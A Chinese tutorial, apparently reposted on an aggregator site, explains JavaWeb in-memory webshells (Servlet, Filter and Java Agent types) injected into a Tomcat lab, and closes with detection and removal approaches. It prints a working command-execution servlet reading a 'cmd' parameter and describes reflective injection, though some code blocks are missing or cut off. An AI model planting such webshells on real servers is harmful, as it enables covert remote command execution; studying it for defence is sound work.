浅析JavaWeb内存马基础原理与查杀思路

您所在的位置:网站首页 木马源码怎么找 浅析JavaWeb内存马基础原理与查杀思路

浅析JavaWeb内存马基础原理与查杀思路

2024-07-11 17:20| 来源: 网络整理| 查看: 265

文章目录 前言Java内存马内存马分类&原理JavaWeb三大组件注入Servlet内存马注入Filter型内存马JAVA Agent内存马 哥斯拉木马0x01 WebShell0x02 MemShell0x03 FilterShell0x04 Arthas排查0x05 scanner查杀 总结

前言

几年前写过《Web安全-一句话木马》,主要介绍了一句话木马的原理和应用,同时介绍了小马和大马这类常见 Webshell: imagepng 随着攻防演练热度越来越高,攻防双方的博弈愈发激烈,流量分析、EDR 等专业安全设备开始被蓝方广泛使用,传统的文件上传的 webshll 或以文件形式驻留的后门越来越容易被检测到。于是内存马便顺应时势地诞生了,它是无文件攻击的一种常用手段,属于无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,这给防守方的检测带来巨大难度,因而演变成了当今攻防对抗中的主流大杀器。

Webshell 的变迁过程大致如下所述:

Web服务器管理页面——> 大马 ——> 小马拉大马 ——> 一句话木马 ——> 加密一句话木马 ——> 加密内存马

本文来学习下 Java 内存马的基础原理和在实战中的基础应用,以及当前的一些简单查杀手段。

Java内存马 内存马分类&原理

根据内存马的实现技术,大致可以分为如下几类(引用《Shell中的幽灵王者—JAVAWEB 内存马 【认知篇】》一张图): 除了按照内存马的实现方式分类,还可以按照内存马的利用方式分为:冰蝎马、哥斯拉马、蚁剑马、命令回显马、流量隧道马等等。

【内存马基本原理】

内存马类型核心原理Servlet-API 型内存马通过命令执行漏洞、反序列化漏洞、已有传统 Webshell 木马等可以 RCE 执行命令的攻击前提,借助 Java 反射技术,在 JVM 中动态注册一个新的 listener、filter 或者servlet 组件,从而实现在内存中注入可命令执行的无落地文件类的隐蔽木马。特定框架、容器的内存马原理与此类似,如 spring 的controller 内存马,tomcat 的 valve内存马。Java-agent 型内存马Java Agent 简单来说就是 JVM 提供的一种动态 hook class 字节码的技术,通过 Instrumentation (Java Agent API),开发者(攻击者)能够以一种无侵入的方式 (类似 Spring AOP),在 JVM 加载某个 class 之前修改其字节码的内容,或者修改已经被 JVM 加载过的 class,此技术正常情况下可被用于 Java 程序的性能监控、信息收集、问题诊断等。而 Agent 内存马的实现就是利用了这一特性,动态修改特定类的特定方法,在内存中注入恶意代码。

【内存马的优劣势】

内存马的运用场景内存马的缺点1)由于网络原因不能反弹 shell 的;2)内部主机通过反向代理暴露 Web 端口的;3)服务器上有防篡改、目录监控等防御措施,禁止文件写入的;4)服务器上有其他监控手段,写马后会告警监控,人工响应的;5)服务使用 Springboot 等框架,无法解析传统 Webshell 的;服务重启后会失效;对于传统内存马,存在的位置相对固定,已经有相关的查杀技术可以检出 JavaWeb三大组件

JavaWeb 三大组件指的是:Servlet 程序、Filter 过滤器、Listener 监听器。 imagepng Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。 imagepng Filter 是介于 Web 容器和 Servlet 之间的过滤器,用于过滤未到达 Servlet 的请求或者由 Servlet 生成但还未返回响应。客户端请求从 Web 容器到达 Servlet 之前,会先经过 Filter,由 Filter 对 request 的某些信息进行处理之后交给 Servlet。同样,响应从 Servlet 传回 Web 容器之前,也会被 Filter 拦截,由 Filter 对 response 进行处理之后再交给 Web 容器。 imagepng Listener 是用于监听某些特定动作的监听器。当特定动作发生时,监听该动作的监听器就会自动调用对应的方法,可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。下面是一个 HttpSession 的 Listener 示意图。 imagepng Tomcat 作为 Servlet 容器,将 http 请求文本接收并解析,然后封装成 HttpServletRequest 类型的 request 对象,传递给 servlet;同时会将响应的信息封装为 HttpServletResponse 类型的 response 对象,然后将 response 交给 tomcat,tomcat 就会将其变成响应文本的格式发送给浏览器。 imagepng Tomcat 简单概括 来说就是 http 服务器 + servlet 容器。下文的演示实验将均基于 Tomcat 服务器开展。

注入Servlet内存马

接下来将参考《 初识JAVA内存马》一文(强烈推荐仔细阅读),来认识下传统 JavaWeb 的 Servlet、Filter 类型内存马的注入原理与过程,环境直接使用在 Ubuntu 虚拟机上基于 Vulhub 的 Aapache Tomcat AJP Arbitrary File Read / Include Vulnerability(CVE-2020-1938) 漏洞环境。 imagepng 先看看正常的 Servlet 组件是如何注册的,新建一个 ShellServlet 接收前端发来的 cmd 命令并回显:

package com.example.servlet; import java.io.*; import java.util.Scanner; import javax.servlet.ServletConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.*; import javax.servlet.annotation.*; public class ShellServlet extends HttpServlet { public void init(ServletConfig servletConfig) throws ServletException {} public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { // 从HTTP请求中获取名为"cmd"的参数,该参数包含要执行的操作系统命令 String cmd = servletRequest.getParameter("cmd"); // 检查操作系统类型以确定要使用的命令行解释器(Windows或Linux) boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } // 根据操作系统类型创建要执行的命令 String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; // 执行命令并将输出写入到字符串变量中 InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; // 将命令执行结果发送回HTTP响应 PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } public void destroy() { } }

然后需要将这个 ShellServlet 注册进 tomcat 容器,也就是在 web.xml 中写入:

Getshell com.example.servlet.ShellServlet Getshell /shell

接着访问/shell并带上 cmd 参数就可以实现命令执行了。

现在我们的目标是往当前 Tomcat 搭建的 Web 服务中动态注入一个恶意 Servlet(即内存马),完成这个目标的当前前提是已经拥有了一个 Webshell(是的,当前想要注入内存马之前还需要拥有一个传统落地文件类型的马子来实现 RCE 才行,除非可以直接借助反序列化漏洞或命令执行漏洞直接 RCE,具体可参见《Tomcat反序列化注入回显内存马》,后续会单独学习),此处为了聚焦内存马的学习(实际上是懒得一步步搭建完整的漏洞环境),直接忽略此前提,直接手动向将一个恶意 jsp 文件,实现一个恶意 Servlet 的动态注册,从而注入内存马。

Title

以上恶意 shell.jsp 文件通过反射技术,动态将一个路由为 /shell2的 "Shell2Servlet"组件注册到目标 Web 系统的 JVM 之中,而"Shell2Servlet"组件接受了外部传递的 “cmd” 参数并执行命令(典型的 jsp 木马),从而实现命令执行。

直接将上述 shell.jsp 复制存放到 Tomcat 靶场的 /webapps/ROOT路径下: imagepng 然后访问 shell.jsp,完成恶意 Servlet 的动态注入到 Tomcat 容器的动作,即注入内存马: imagepng 最后成功访问我们注入的内存马: imagepng

注入Filter型内存马

Filter 作为 Java web 三大件之一,是一种可以对请求和响应进行拦截和处理的组件。Filter可以实现许多功能,如登录控制,权限管理,过滤敏感词汇等。Filter 的使用需要实现Filter接口,重写 doFilter 方法,并且配置拦截路径。

和 servlet 类似,我们先按正常操作添加一个 Myfilter:

package com.example.filter; import javax.servlet.*; import java.io.IOException; public class Myfilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("Filter被执行了"); filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } }

需要在 web.xml 中绑定 url:

Myfilter com.example.filter.Myfilter Myfilter /hello

此时在访问 /hello的时候 doFilter 的逻辑代码就会被调用。

接下来我们的目的是注入一个 Filter 型内存马,即借助反射技术向 Tomcat 容器中直接注册一个恶意 Filter,使得在访问任意 URL 的时候均能调用到恶意代码。这个过程自然需要去阅读 Tomcat 源码看看其是如何完成 JavaWeb 项目中的 Filter 组件的解析和注册的,详情请参考《 初识JAVA内存马》。

总的来说,Tomcat Filter 的工作流程如下:

根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称;根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig;找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain;filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法;

根据上面的流程分析,不难发现最开始是从 context 中获取的 FilterMaps,将符合条件的依次按照顺序进行调用,那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面,这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发内存马。

此处直接给出最终的恶意 shell.jsp 代码:

Title

以上恶意 shell.jsp 文件通过反射技术,动态将一个路由为 /tr0e的 "Shellfilter"过滤器组件注册到目标 Web 系统的 JVM 之中,而"Shellfilter"过滤器组件在其 doFilter 函数中接受了外部传递的 “cmd” 参数并执行命令(典型的 jsp 木马),从而实现命令执行。

同样直接将上述 shell.jsp 放到服务器的 ROOT 根路径下,然后访问 shell.jsp,完成恶意 Filter 的注册(完成内存马的注入): imagepng 接着访问对应的路由 “/tr0e” 并传递 “cmd” 参数执行命令即可: imagepng

JAVA Agent内存马

前面已经简单介绍了 Java Agent 内存马的基本原理,Java 在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法。Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去。

【0x01 Java Agent基础】

首先推荐一篇博文:《Java Agent 从入门到内存马》,从 0 到 1 讲述了 Java Agent 基本原理和 Agent 内存马的生成,很适合像我这样第一次了解 Java Agent 内存马的新手学习。特别声明:本小节参考了此文章大部分内容。

Java agent 的使用方式有两种:

实现 premain 方法,在 JVM 启动前加载。实现 agentmain 方法,在 JVM 启动后加载。

以一个简单的 premain 为例,创建一个类并且实现 premain 方法:

package com.shiroha.demo; import java.lang.instrument.Instrumentation; public class PreDemo { public static void premain(String args, Instrumentation inst) throws Exception{ for (int i = 0; i 反编译成 java 代码-> 源码 webshell 检测。

目前常用的哥斯拉、冰蝎、蚁剑等常用的 Webshell 管理工具,都提供了一键打入内存马的功能,但是同时也存在一个致命的逻辑上的“问题”:要先有文件型 webshell,再植入内存马,这是不是违背了使用内存马技术的初衷?

攻防实战中是否也一定要通过落地 JSP 再使用 Webshell 管理软件进行内存马注入?能否实现完全无落地文件便注入内存马?答案是当然的,比如我们也可以直接借助反序列化漏洞或命令执行漏洞等 RCE 漏洞直接植入内存马,具体可参见《Tomcat反序列化注入回显内存马》,后续会结合反序列化漏洞进行单独学习。

本文参考文章:

Shell中的幽灵王者—Java内存马_认知篇;一文看懂内存马 - FreeBuf网络安全行业门户;初识JAVA内存马_JavaWeb传统内存马从0到1;Java Agent 从入门到内存马;干货|冰蝎、哥斯拉 内存马应急排查;内存马检测排查手段;Java内存马攻防实战_攻击基础篇_全;JAVA内存马的“一生”(很全面);JavaWeb 内存马一周目通关攻略 | 素十八;


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3